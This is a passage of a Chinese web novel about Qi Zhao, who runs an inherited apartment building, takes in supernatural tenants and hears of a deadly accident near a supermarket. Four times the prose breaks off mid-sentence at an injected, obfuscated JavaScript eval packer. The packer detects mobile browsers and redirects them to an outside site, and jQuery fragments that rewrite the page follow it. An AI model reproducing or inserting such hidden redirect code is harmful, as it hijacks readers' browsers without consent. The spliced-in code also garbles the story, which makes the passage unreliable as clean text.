不过对他来说这点伤问题不大，他很快就给自己处理好了，直接就进了车站附近的超市。 一路上没碰到人，他压根不知道自己是个什么样。 此刻，那位超市的工作人员看着他，艰难地吞咽了下口水：“先生，您、您需要帮忙吗？” 齐朝后知后觉地看了眼自己的手，又打开手机前置看了看自己的脸。 我去！什么玩意儿！ 他被自己那一脸血的模样吓一跳。 齐朝不好意思地抓抓后脑勺：“没事，我一会儿去卫生间洗把脸就行。” 工作人员：“......好的。” 心联超市的活动从来都很实诚，没什么弯弯绕绕，就比如齐朝拿来的这一沓优惠券，一次能使用数不限，只要是印在上面的商品，统统都打折。 而齐朝手里的这份优惠券更是折扣超棒，全部打一折！ 所以等齐朝把上面东西都扫荡光后，也才花了一千不到。 “抽纸10箱，卷纸10箱，洗衣液10瓶，洗衣粉10袋，方便面......” 工作人员念了一大串核对完商品数量，对齐朝说：“之后会按您提供的地址为您配送，不过因为东西比较多，所以可能得晚点到。” 齐朝：“没问题。” 反正天星物业还在帮忙刷墙，他一时半会儿也收不了货。 之后齐朝吃了点东西，又跟着地图的指引去了一家花店。 花店的装潢十分富有田园气息，木质的门头、装饰成藤蔓形状的门框，一走进去就像是进到了另一个世界。 “您需要点什么？” 齐朝闻声转头，就看见了一个穿着一身浅绿衣裳的人。 他头发在发梢处扎了起来，发束随意地搭在肩前，显得十分温柔。 齐朝的脑海里不合时宜地想起一句话：太太，您的发型很危险啊。 但下一秒，齐朝赶紧就把这个念头从自己脑海甩出去。 先不说这个想法很没礼貌，对方压根就不是什么“太太”，他是个男的呀！ 男的！ 齐朝唾弃了自己的无礼几秒，而后朝男人说：“我想买草种。” 男人一双如画般的眼睛微微睁大，有些惊讶：“草种？” 齐朝说：“对，我家门口的地面情况太糟了，全是坑坑洼洼的土，仅有的那些草也长得稀稀拉拉的。” 齐朝把公寓楼周围的绿化情况描述了一遍。 听完后，男人明白了。 他的嘴角勾起柔和的弧度：“原来是这样，下雨天的话确实会有点麻烦。” 齐朝的那栋公寓楼，那些墙脚的脏泥点就是证据。 当时齐朝一看就知道，那是下雨时溅起来的泥水导致的。 其实一劳永逸的办法是直接把那块地全部铺满砖，但那样的先不说成本，齐朝自己就不太喜欢，所以他还是想先试试种成草坪。 男人很快就找了一包种子出来。 并不像绝大多数店铺里的包装那样，这家花店的种子居然是放在一个布包里的，布包上绣着好看的花样，看着就很精致。 也不知道是不是齐朝的错觉，他只觉得这只小布袋拿到手里后，自己身上的疲劳感都瞬间减轻了。 齐朝望着手里的小布袋。 好贵的样子啊...... 花店店主像是会读心一样，这时说：“放心吧，不加钱。” 他的嗓音轻柔：“您是爱护生灵的人，我相信您会照料好它们的。” 齐朝觉得这话怪怪的。 然而等他一抬头，眼里就撞进了一张极温柔、又极美丽的笑脸，那如有春风拂过盛开的花海，让人除了纯粹的欣赏和惊叹之外，什么情绪都生不起来。 直到齐朝拿着草种出了花店，脑子里都还有点呆愣愣的。 “齐先生？” 齐朝猛地一回神：“扇小姐！” 叫他的人，竟是天星物业的扇彤。 扇彤今天依然穿着一身干练的职业装，怀里抱着那本很厚的金色册子。 她笑着和齐朝打完招呼，说：“恰好在这遇到您，我就直接和您说了，我们为您找到租客了！” 齐朝：“那太好了！” 扇彤：“他其实也是我的老熟人了，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424149|200851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是......只是他脾气有点不太好......” 一开始齐朝还表示没事，可随着扇彤越往下说，齐朝的表情就变得越奇怪。 齐朝抹了把脸：“其实吧......您说的这个人，我好像已经见过了。” 扇彤：“啊？” 两人一对信息，扇彤说的租客、居然还真的就是昨天半夜来敲门的羽绒服男人。 扇彤有些泄气：“我还以为能给您带个高兴的消息呢。” 齐朝赶紧安慰她，顺带把自己的小心思卖了个干净，他说他本来还觉得对那人打着十二分的警惕，这会儿扇彤说是熟人，他直接就放心了。 扇彤一听，终于甜甜地笑了起来，脸颊上的酒窝像是装满了糖。 “那就好。” 恰好天星物业打电话来，说墙漆好了，刚刚超市送来的一堆东西他们也帮忙收了，齐朝挂了电话后就没再留。 他要赶紧回去看看他“换新衣”的楼啦。 直到齐朝越走越远、背影在街角也如变魔术般嗖地被白雾吞噬时，一个浅绿的身影才悄无声息地出现在了扇彤身侧。 扇彤无奈叹气。 她转身抬头：“句芒大人，齐先生虽然继承了那栋楼，可不论体质再怎么特殊，他毕竟也是个凡人，您稍微控制下神力呀。” 春神句芒歉意地笑：“因为太高兴了嘛，下次我注意。” 他已经很久没碰到这样的人类了，所以真的是非常开心。 扇彤孩子气地鼓起脸：“您不要再这样笑啦！” 句芒：“好，好......” 一个月的时间转眼就过了。 今天，就是他第一位租户入住的日子啦！ 齐朝激动得一晚上没睡，一大早就搬了个小板凳等在门外面。 可一早上过去了，一下午过去了，石板小路上还是没一个人影。 太阳渐渐落下，随着最后天色变暗，齐朝心里的那点期待也如同风中残烛一般，越来越弱。 他在心里悄悄叹了口气。 不过齐朝的失落来的快，去得更快，他马上就打起了精神：“打扫打扫！” 这一个月里他除了培育草坪，干得最多的事就是打扫楼里。 现在一楼已经打扫得能说是一尘不染，只是家具很少，也没什么装饰，所以看起来特别空旷。 齐朝穿好打扫专用的雨鞋、橡胶手套、防水连体服套装，然后一手提着水桶，一手拿着拖把扫把抹布就上了楼。 这栋楼的结构其实很有意思。 地面四层，地下一层，楼顶是个大露台。 除了地下室是大通铺外，每层都只有四间屋，楼梯是欧式的圆弧旋转状，安在楼正中央，所以从建筑俯瞰图上来看的话，这楼就像朵四叶草似的。 而整栋楼的大门装在本该是房间的位置上，所以那四分之一的面积就被空了出来。 这样一来，一楼就只有三间房了。 三间房里，齐朝住了一间，另外两间做了简单的装修，不过也只是刚达到能住人的程度。 除了一楼，齐朝重点处理的还有顶楼的护栏，毕竟安全第一嘛。 然而只光是这样，齐朝卡里的钱就少了快二分之一。 齐朝这会儿边往二楼窗户上喷玻璃清洗剂，边想着要怎么开源节流，忽然，他听到楼下传来一声巨响。 “邦！！” 听声音，是大门口那。 齐朝立刻扔下手里的东西往楼下跑。 5. 入住 隔着老远，齐朝就看见大门口那趴着一个人。 他确实没锁大楼的门，但也确实没想到他的租户会和他来一场这样的见面。 没错，这种时节还穿着羽绒服的，就只有那个男人！ 对方似乎是察觉到了齐朝的存在，他艰难地抬起头，朝齐朝伸手。 “老......板......” 男人的双颊凹陷，脸色青黑，看着快要挂了。 齐朝：！！！ 齐朝快吓死了。 他撑着楼梯栏杆就往下蹦，一个下蹲卸力后冲到男人旁边：“你怎么了！？” 齐朝刚掏出手机准备先叫救护车再报警，然而电话还没拨出去，一只手就啪地抓住了他的手腕。 “别……” 齐朝慌得不行：“那我怎么帮你？你需要什么？” 男人：“我......饿......” 说完这两个字，男人就脑袋一歪，晕了。 齐朝：“......” 同样的深夜，同样的两个人。 上次是在门口针锋相对，这会儿是一人抱着一桶泡面，在门口呼噜噜地嗦面。 男人把最后一滴汤都喝干了，满足地叹气：“我一直想吃这个来着。” 齐朝疑惑地看了一眼方便面面桶，又看看对方憔悴的脸。 他的心里瞬间涌上同情。 齐朝有些冲动地说：“你要是实在没钱，房租可以先赊几天。” 男人很懵：“啊？” 他掏出手机：“我有钱啊。” 齐朝也很懵：“啊？” 那你跟我说什么一直想吃方便面但吃不上啊！ 男人一副“我才不想跟你多解释”的样子，他抬抬下巴：“收款码，拿来。” 齐朝已经什么都不想说了，他已经彻底麻了。 男人姓斐，有个和他性格完全不符的名字，叫斐宁。 和一个月前一样，斐宁臭着脸、利落地给齐朝转了钱。 然而齐朝一看金额—— “嗯？房租是1000一个月啊，你怎么转了2000？” 之前说好了的，公寓房租模式是押一付一，斐宁之前给的定金等他入住后自动转为押金，所以今天只要给一个月房租就行。 齐朝还以为对方把这事忘了，可斐宁却说：“我不爱出门，所以以后你天天帮我泡方便面，那一千是饭钱。” 齐朝：“......行。” 这就是所谓的有钱任性吗？跑这偏僻地方吃方便面？ 不过自诩一个好房东的齐朝是不会多问的，租客出钱他出力，这很合理。 这会儿斐宁住进来了，楼也不是只有齐朝住了，所以他也不好大半夜地打扫卫生，只把垃圾收拾了准备先休息。 齐朝美美地洗完澡、吹干头发，正钻进睡袋准备好好地睡个觉时...... 他一转头，居然看见有一双脚居然站在他的房门口！ 齐朝心脏都差点被吓得掉出来。 他裹着睡袋弹从地上弹起来，有点崩溃：“兄弟，你别这么吓人行不行！这大半夜的，你好歹先敲个门啊。” 斐宁依旧穿着那身羽绒服，他趿拉着人字拖走过来，蹲下来看着齐朝。 斐宁：“不是说睡觉要床和枕头被子吗？床有了，那我的被子枕头呢？” 齐朝冷漠脸：“......有没有一种可能，我这里是公寓，不是酒店。” 斐宁愣了一下，他站起来，环抱起手臂：“我不管，你去给我弄被子和枕头来。” 饶是泥巴做的人，在这种时间段、被这种语气说道也会火大，更何况齐朝又不是泥人。 然而就在齐朝刚想怼人的时候，他手机一响。 【虫虫非不飞：转账1000元】 斐宁：“买完剩下的钱归你，一千够吗？” 齐朝做了个深呼吸，脸上绽出职业微笑：“如果只要普通被子枕头的话，够了，明天我会为您准备好。” “但是今天......” 在斐宁略显期待的眼神中，齐朝从屋角的一堆行李里翻出一个睡袋：“只有这个了，您将就用下？” 斐宁立马就拧起眉。 然而还不得他说什么，齐朝就端着虚伪的职业微笑说：“或许......您可以出门过街左转，往前800米那有酒店哟。” 于是斐宁气呼呼地走了，当然，出去的时候还抓上了那个睡袋。 一夜无梦。 一大早，齐朝才刚把自己从睡袋里薅出来，就听见自己的房门就被敲得邦邦响。 “老板！老板！” 齐朝有一瞬间很怀疑这扇门会不会碎开，他过去把门打开：“什么事？” 斐宁：“我的方便面呢？说是早上要吃清淡点，我要吃红烧牛肉味。” 齐朝：“......” 齐朝木着脸翻出一桶面递给他，又指指自己：“我得先洗脸刷牙。” 斐宁嘴里“啧”了一声，而后低头盯着手里的桶装面，嫌弃似的摆摆手，示意齐朝快点。 齐朝迈着沉重地步子走向卫生间，忽然觉得自己的未来有点灰暗。 然而事实证明，齐朝想多了。 斐宁只是一开始有点折腾，才过了三天，齐朝就已经和他相处得很好了。 正如斐宁入住时说的那样，除了三餐时间，他都一直窝在房间里不出门，几乎一点动静都没有。 有一次齐朝在楼上打扫卫生时梯子莫名其妙断开了，他连人带梯子砸在地上发出了很大的噪音，那会儿正好是午休时间，齐朝也顾不上疼，赶紧发消息过去道歉。 然而斐宁却发了个Q版的表情包。 【虫虫非不飞：[没事.表情包]】 看着屏幕上那个白色的毛茸茸的小动物在挥爪子，齐朝忽然就觉得，这位看上去凶巴巴的租户，其实脾气或许也没那么糟。 不过经此一事，齐朝再也不在正中午打扫了，而是换到去顶楼打理他的花圃。 说是花圃，其实也只是在栏杆下面砌了一圈一米多宽的花坛，然后往里面填了土。 之前长在公寓楼墙角的爬山虎被移了上来，齐朝后面又去花店那买了些营养土，不过大约是移过来的时间太短了，这些爬山虎倒也没什么太大的变化，还是看着又瘦又小的。 这会儿，齐朝正给爬山虎浇着水，忽然他手机响了。 【虫虫非不飞：老板老板！吃饭！】 【虫虫非不飞：[敲碗.表情包]】 齐朝一看时间，中午十二点。 还挺准时。 他回了个这几天常用的OK表情包，而后提着水壶下了楼。 齐朝从来都不挑食，只要没毒、吃不死，再怎么味道奇怪他都完全能咽下去。 可其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424150|200851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实，他很爱吃东西。 所以，在连续整整二十天、每天三顿都是方便面后，齐朝有点扛不住了。 他想吃菜！想吃肉！ “我一会儿要去超市买东西，你要和我一起去吗？” 斐宁听到后把嘴里的麻辣牛肉面咽下去，他皱眉看向齐朝：“超市？” 齐朝了然。 经过这近一个月的相处，齐朝总算是发现了，他的这位租客就很符合一个描述—— 地主家的傻儿子。 斐宁长得人高马大的，实际上才刚刚成年，他似乎完全不缺钱，但也几乎没有任何生活常识，连脚踩式垃圾桶的桶盖都不会开。 几天前，斐宁第一次看见齐朝去楼顶晒衣服时，他好奇地问完后，像条小尾巴似的就跟着齐朝去了天台。 斐宁：“这是什么？” 齐朝：“晾衣绳。” 斐宁：“这个呢？” 齐朝：“是夹子啦，这么用，这样夹好后衣服就不会被风吹到地上了。” 等解释完，齐朝一回头，就看见斐宁眼睛亮亮的，像是在说：哇，你好厉害。 只是在注意到齐朝的视线后，他立马就继续变成了那副表情很臭的样子。 不过也因为这件事，齐朝就对斐宁的印象再次更新，而他也不自觉地把自己代入了照顾者的角色。 ——毕竟本来斐宁年纪就比他小嘛！ 所以这会儿齐朝馋了，想出门，就下意识问了斐宁要不要一起去。 不过...... 看斐宁听后皱着眉，拿着勺子哗啦啦地搅着面样子，明显就是非常烦躁。 想到入住那天斐宁说的“不出门”，齐朝就赶紧摆摆手：“没事没事，我只是问问，你不想去的话——” 斐宁：“谁说我不去了！” 齐朝：“啊？” 要说城市里买菜的最佳地点，齐朝第一推荐大清早的菜市场，第二推荐的就是万能的心联超市。 这家超市几乎所有的生鲜蔬菜、熟食糕点都是当天售卖，所以，要是晚上掐着点去的话，能打折！ 当然，这也就意味着—— 抢菜区的人超级超级多。 “绿叶菜！绿叶菜！所有绿叶菜三捆三块！” “牛里脊八折八折！肋排八五折！” “鸡腿鸡胗鸡胸肉——” 斐宁推着购物车，被狂乱的人流挤得东倒西歪，像棵暴风雨中的可怜小草。 在艰难地逃到一个人稍微少一点的角落后，他心有余悸地捂着自己的胸口：“姐姐说的没错，人类......果然好可怕。” “嗯？什么好可怕？” 斐宁一回头，发现是抱着两颗生菜的齐朝。 他含糊道：“没什么。” 齐朝也没在意，把菜放进购物车后就再次钻进了人潮。 这场抢菜大战收获颇丰。 结账的队伍排得很长，齐朝正想着回去怎么吃这些战利品，突然的，他手里的手机就震动了一下。 他打开一看，居然是沉寂了快一个月的经营指南APP！ 【指引任务3......】 齐朝还没看完，咚的一声，排在他前面的人突然身子一歪，像根煮过的面条似的软倒了下去。 下一秒，他头顶的照明灯闪了两下—— “啪。” 超市，停电了。 6. 招租广告 超市是有应急灯的，只是亮度和照明范围有限。 在昏暗的应急灯灯光下，超市的天花板上、地面上像是污水渗漏一样，很快就晕出了黑色的几片。 周围不知道为什么安静得可怕，在这种突发状况发生时本该出现的人群骚乱、此刻却一点苗头都没有。 所有人只是安静地站着，等着，像是被按了暂停键。 这情况属实有些诡异了。 齐朝看着前面那个莫名其妙倒下的人，背上开始微微冒汗。 他下意识从购物车里摸了一根又白又胖的大萝卜出来，准备随时当武器抡。 这时，一阵脚步声突兀地出现。 它先是在远处的购物区那响起来，而后越来越越近。 哒，哒，哒——哒哒哒哒—— 有什么东西跑过来了！！ 几乎只是一刹那，齐朝身后，一双黑色的脚印蓦地显现在地上。 站在旁边的斐宁看见了，他皱起眉，抬手。 然而，就在那脚印刚刚踩到齐朝裤脚上的时候，噗嗤一下，它不见了。 斐宁：“......” 呵呵可真是好强的既视感呢。 也在同一时间，超市的灯又全部亮了起来，一切异样刹那间消失得无影无踪，宛如是一场幻觉。 “先生？先生？” 齐朝一回神，就看见收银小姐正一脸疑惑地望着他。 收银小姐：“您的这个萝卜......？” 齐朝低头一看，他手里正紧抓着一个大萝卜。 他下意识赶忙松手，萝卜咚地一下掉在金属的收银台上，声音之大，引得前面那个还在整理物品的顾客抬头看了他一眼。 或许是灯光的原因，那位顾客的脸色显得有些青黑。 齐朝隐隐约约觉得哪里有点怪。 可是，他想不起来。 他疑惑地看着前面顾客脚步虚浮的背影，而后在收银小姐的提醒声中赶紧掏了手机付款。 斐宁正如齐朝之前想的那样，只是看着凶巴巴的。 采购回去的路上，他任劳任怨地帮忙把一大堆东西提回了公寓楼，全程一句抱怨都没有，只是说他要加顿夜宵，想吃新出的青酱汤底方便面。 齐朝：“行。” 正好齐朝也饿了，于是他又烫了牛肉片和娃娃菜放进两人的桶装面里，算加餐。 直到收拾好厨余垃圾回到房间，齐朝掏出手机看经营指南APP消息时，他才忽然意识到一个问题。 他今天，好像都没遇到什么倒霉事？ 按照齐朝这二十几年的经验来看，这事发生的概率完全是0。 他或许某天遇到的倒霉事会只有一件，可绝对不会一点倒霉遭遇都没有。 到底是哪里的问题...... 齐朝想了一会儿发现想不出来，果断决定放弃：“算了，还是搞任务吧。” 他记得在超市里排队付款的时候，手机上跳出了经营指南APP的新消息通知，但那会儿应该是忙着付款，所以就没仔细看。 经营指南里，白底黑字地写着几行字。 【指引任务3：招募一位租客】 【奖励：抽奖机会1次】 【修复任务二：将公寓楼等级提升至1（当前进度5%）】 【奖励：运气永久+1】 齐朝：“招募？” 如果说是“拥有一位租客”的话，那这个任务肯定就完成了，因为斐宁这会儿就住在旁边呢。 可既然任务没完成，又说是招募...... 齐朝想起一件事。 当时斐宁是扇彤介绍来租房的，从这个角度上看的话，招租到斐宁确实和他没什么直接关系。 齐朝：“所以，是要我自己找到租客才行。” 不过他很快就犯了难。 在斐宁入住前的这短时间里，齐朝其实也没闲着。 除了一次和前同事们不太愉快的聚餐外，他全身心都扑在了这栋公寓楼上。 一个月前他就在网上挂上了招租的消息，后面也去人流量大的地方举过租房的广告牌，但无一例外，效果都不好，线上线下都没人联系。 看着屏幕上的字，齐朝实在是没招了。 “要不明天试试老办法，贴广告？” 他决定试试，不过明天得先问问扇彤广告能贴哪里，至于最后能不能招到租客、要是租客超过一个但又没房间住...... 呃不想了，先招到再说吧。 齐朝停下思考，很快就睡着了。 ====== 【我在盯着你哟：贴广告？】 齐朝把网上发布招租信息没反馈的事和扇彤说了说，没一会儿，扇彤就回了消息。 【我在盯着你哟：原来是这样】 【我在盯着你哟：不过，物业这边已经登记过租房信息了，我们也和周围的房地产门店打了招呼，要说其它办法......】 【我在盯着你哟：[猫猫抓头.表情包]】 【我在盯着你哟：要不......你在门口路边插个木牌吧？】 【齐朝：啊？】 【齐朝：木牌？】 这是什么操作？ 经过这两个月的接触，齐朝和扇彤又都是性格活泼的人，所以现在两人说话的语气早就不像一开始那样一板一眼的了。 扇彤发了一串语音，解释说以前有房东把广告贴得到处都是，给他们带来了很大麻烦。 她说那些广告纸后续清理起来真的让人很崩溃，所以现在，天星物业其实挺推荐在路边插木牌这种办法。 而所谓的插木牌，就是弄个木牌桩子，直接怼进公寓楼周围的草地里。 【我在盯着你哟：其实马路边的绿化带里也行啦，只是不容易被看见】 齐朝：他不懂，但他大为震撼。 他只能回：【那我试试吧】 木牌是网购的，两天就到了。 “房间宽敞，风景优美，数量有限，先到先得......” 齐朝越往下念，表情就越挣扎。 虽然也不是诈骗那样的虚假宣传吧，可也实在有点那什么...... 齐朝纠结了一会儿，还是把刚刚打印出来的广告纸翻了个面，掏出笔重写。 “好了。” 齐朝挑了个靠近路边步行道的位置把木桩怼进去，而后就拍拍手，转身回了楼里。 午后的阳光洒在浅棕色的木牌上，把贴着的那张A4纸照得有些刺眼。 【租房：1000元/月，面积约160平，有热水，家电不齐全】 【可随时看房，有意请拨打XX......】 忽然，有一片影子落了下来，恰好罩在了这张广告纸上。 它停了很久。 直到有风吹过，那影子才随它的主人一起腾风而起，带起一片哗哗的振翅声。 齐朝有点儿愁。 原因无他，就是那个“修复任务二”。 上一次的修复任务是给房间升级，任务完成程度是和装修挂了钩。 齐朝记得当时他是把墙面、天花板全刷了，灯泡换了，还给屋子里添了一张床才完成的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424151|200851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而现在这个给公寓楼升级，难不成要给整栋楼都来个装修？ 那也太难了！ 齐朝看着那个“进度5%”，崩溃地抱住自己的脑袋。 他需要钱！钱啊！ 他之前给一楼一通装修、又给重装顶楼护栏，一共花掉了一万，后面买生活用品那些又陆陆续续用了一千五。 直到近一个月前，斐宁入住时给他转了钱，才终于能回了点血。 可昨天，他馋疯了，冲动之下来了场食材大采购，为了储存食材又买了个大容积的冰箱，一晚上3000块钱瞬间蒸发。 要不是家具店老板给他打折，他花出去的那还根本不止这个数！ 齐朝刚刚看了，他卡里现在零零总总的一共就只剩一万五了。 而更痛苦的是—— 马上要到月底了，该交物业水电费了。 一个月2000多呢！ 齐朝此刻无比后悔，内心小人在哭着咬手绢：都怪他嘴馋！老老实实吃那些优惠券买的方便面不好吗？ 然而没钱归没钱，该干的活还是要干。 他现在就指望着这栋楼了。 现在一到四楼已经全部清扫干净，只是除一楼之外，其它几楼里的房间既没家具也没装修。 楼顶倒是重装了护栏，至少保障了安全性，至于那块看上去很邋遢的水泥地就只能暂时不管。 现在唯一剩下的还没打扫的，是地下室。 齐朝提着一堆清理物品出了楼大门。 通往地下室的楼梯不在室内，而是在楼后面。 楼背后有间凸出来的、十平米不到的小屋子，屋子里只有一扇门，打开后就是通往地下的楼梯。 一个多月前，天星物业公司来检查这栋楼的硬件设施时，特意重点关注了下地下室的通风系统，所以齐朝现在倒是不担心安全的问题。 不过因为地下室长期没人，里面的中央空调自然是不开的。 齐朝想了想自己倒霉体质，他还是谨慎地把循环送风功能打开，又足足等了一个小时才进去。 地下室是个800平米的大平层。 相比起楼上那种一间一间屋子的结构，地下室这种大通铺结构打扫起来就方便得多。 打扫完毕，想着地下室空着也是空着，齐朝就又把堆他房间里的那些纸巾、洗衣粉什么的全都搬了进来。 做完这一通后，齐朝累得胳膊腿都是酸的，条件有限，他就直接席地而坐了。 他一边揉着自己有些酸疼的肩膀，一边开始想今晚的晚饭怎么弄。 斐宁虽然天天说除了方便面什么都不吃，可要是往桶面里面加菜加肉，他也会乖乖全部吃完。 齐朝想着自己之前那段时间忙着打扫、到处跑去线下招租，每天几乎都没什么空。 可现在这会儿有食材了，打扫也基本结束了，怎么也得给斐宁稍微改善下伙食才行。 ——毕竟对方可是交了一个月1000的伙食费呢。 手机铃声就是这个时候响起来的。 因为环境太过安静空旷，开到最大音量的铃声直接把齐朝吓了一跳。 “喂，您好？是齐先生吗？” 齐朝愣了一下。 手机里传出的嗓音特别特别好听，好听到甚至给人一种“这不是人间会有的声音”的感觉。 对面没听到回答，有些疑惑地再次出声：“喂？” 齐朝赶紧道：“您好，我是，您有什么事吗？” 那声音轻轻地笑了一声，说—— “我看见门口的租房广告了，我想租房。” 7. 第二位租户 这会儿已经临近夏天。 虽然还不到室内蒸桑拿、室外铁板烧的程度，可要让人多穿一件外套也是挺折磨的。 然而，此时站在齐朝面前的这个人，上身正套着一件宽大的带帽卫衣，长长的袖子把双手挡得严严实实。 那件卫衣的兜帽也很大，几乎遮住了来人的整张脸，唯一本来会露出的下巴部分也被黑色的口罩遮住了，看着就挺闷热。 不过毕竟衣着是个人喜好，齐朝认为自己也没什么资格去置喙。 他只主动开口：“那我们先进去看看？” 浑身裹得严严实实的人点点头：“好。” 这声音空灵异常，音色绝美，根本听不出本人是男是女。 齐朝也没打探的打算。 他引着来人进了自己的公寓楼，而后从右边开始介绍：“我也住在这楼里，我住这间。” “中间这间房间已经租出去了，”齐朝有些不好意思地挠挠头：“虽然一共有四层，但是现在其实只有一楼能住人。” 他指着左边唯一剩下的那间房：“如果您愿意租的话，就只剩这一间啦。” 那人环顾了四周一圈：“我能进去看看吗？” 齐朝：“当然。” 这楼里的房间是一室一卫的设计，不过因为加了两处能滑动的玻璃门作为隔断的缘故，所以也能算是一室一厅一卫、外加一个阳台。 玻璃被齐朝擦得透亮，所以屋内采光很好。 但问题来了。 房里除了一张床外什么都没有，所以通过玻璃能一眼看得清清楚楚，整个房间显得极其空旷，甚至能说是简陋。 齐朝一直注意着这位潜在客户的反应。 这会儿看对方半天没说话，齐朝的心渐渐地就凉了。 完了，没戏了。 就在齐朝已经完全不抱希望的时候，却听对方问：“那我们现在就签合同吗？” 齐朝直接愣了。 直到把楼大门的密码发给这位新租户以后，齐朝还抓着自己的手机，有点懵。 原来插木牌做广告真的能行啊！ 新租户叫提姜，是个非常少见的姓氏。 和真·直接入住的斐宁不一样，提姜第二天来的时候搬了十几个大箱子进来，摞起来能码半面墙。 齐朝正准备出门就遇到提姜搬家。 他看看比他矮了一大截、看上去似乎很瘦弱的提姜，就问了问对方需不需要帮忙，提姜笑着谢过说不用，于是齐朝就没再管。 齐朝这会儿准备出门去趟快递站，去拿他网购的数字门牌。 距离公寓楼最近的快递站在街对面的小区里，是个开在小区中央的便民商店。 因为最近几个网购平台都开了活动，所以商店里的快递堆得像山一样。 齐朝在艰难翻找快递的时候，他耳尖地听见旁边的两个小区居民在说一件可怕的事。 “是啊！就在公交站旁边那个超市转角！我听刘大爷说，他前天晚上往那路过，看见当时那血啊流得到处都是，哎哟喂，真是造孽。” “哪？那个心联超市？” “对！” 齐朝一愣。 心联超市？ 前天晚上？ 那不就是他和斐宁去采购的那晚吗！？ 他赶紧凑过去问那两位阿姨：“阿姨，您能跟我说说那家超市怎么了吗？我前天晚上还在那买东西呢。” 两位阿姨看齐朝长得一脸面善，也没藏着，把事情来龙去脉全都说了一遍。 齐朝越听，身上就觉得越冷。 ——前天晚上，心联超市附近出事了。 两辆车发生碰撞，肇事的男司机是酒驾、又在打电话和人吵架，情绪激动之下，他把油门当刹车踩死，直接就把转角处正在转弯的货车撞翻了。 而那会儿，正有个人从那经过。 “你说可怕不可怕？”一个阿姨说：“那货车直接把人压下面了！” 另一个阿姨压低声音：“我听那路过的刘大爷说，那小年轻本来染了一头白头发，被抬出来的时候，哎哟，那一整个脑袋竟然全红了！” 齐朝忽然就觉得脑子嗡的一声。 他想起来了。 他想起来了！ 那天结账时，排在他前面的那个人就染了一头银白色的头发！ 齐朝没心情再待了，两位阿姨看他脸色不对，想到齐朝说的“那天也在超市”，以为他被刚刚那番话吓到了，赶紧安慰了他两句。 齐朝都不知道自己怎么回的公寓楼。 他的屋里还没有床，他只能缩在屋角，一点一点收紧手臂，用尽所有力气、紧紧抱住自己的膝盖。 阳光从屋子一头移到另一头，屋内渐渐暗了下来。 可齐朝却一直都没动一下。 “老板！老板！齐朝！嗯？怎么没锁门？ “齐朝！我的香菇鸡汤——” 带着些许怒意的嗓音停了，而拖鞋啪嗒啪嗒地声音在由远及近。 最后，来人停在了齐朝面前。 “喂，你怎么了？” 齐朝缓缓抬头，就看见斐宁那张英俊帅气、但也有些肤色苍白的脸。 斐宁依旧穿着他的黑色加长款羽绒服，还拉上了拉链，显得他除了脸和脖子之外的部分几乎要完全融入这片黑暗。 齐朝嘴比脑子快：“兄弟，你有点像那个黑白无常。” 斐宁一副看智障的表情看着他：“别叭叭了，我发信息叫你半天了，你要饿死我吗？” 齐朝慢半拍地打开手机一看。 呃......居然是真的·半天。 齐朝看着从中午开始就没理会的那条“催泡方便面”消息，有点愧疚：“不好意思啊，没注意。” 斐宁难得没怼人，又问：“我刚刚问你，你怎么了？” 按照齐朝一直以来的习惯，他本该把这些事拿来自己消化的，可这会儿不知道怎么了，他居然鬼使神差地说了出来。 说到后面时，齐朝的声音小得都快听不见。 “所以我就想......是不是我把霉运带给他了。” 这个“他”是谁，不言而喻。 房间里一时陷入了沉寂。 “跟你没关系。” 突然听到这句话，齐朝还有点没反应过来：“什么？” 斐宁环起手臂，他皱着眉、臭着脸：“啧，不是有那种说法吗，叫‘命数已尽’，要说是大限将至也行，反正没差。” 齐朝听完后，眨巴眨巴眼睛：“你这安慰也安慰得太不走心了，不过——” 他撑着膝盖站起来，终于露出和往常一般的笑容：“不过，还是谢谢啦。走吧走吧，吃晚饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424152|200851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。” 齐朝边说着边往屋外走，在他身后，斐宁看着他的背影，轻轻开口。 “我没有在安慰。” 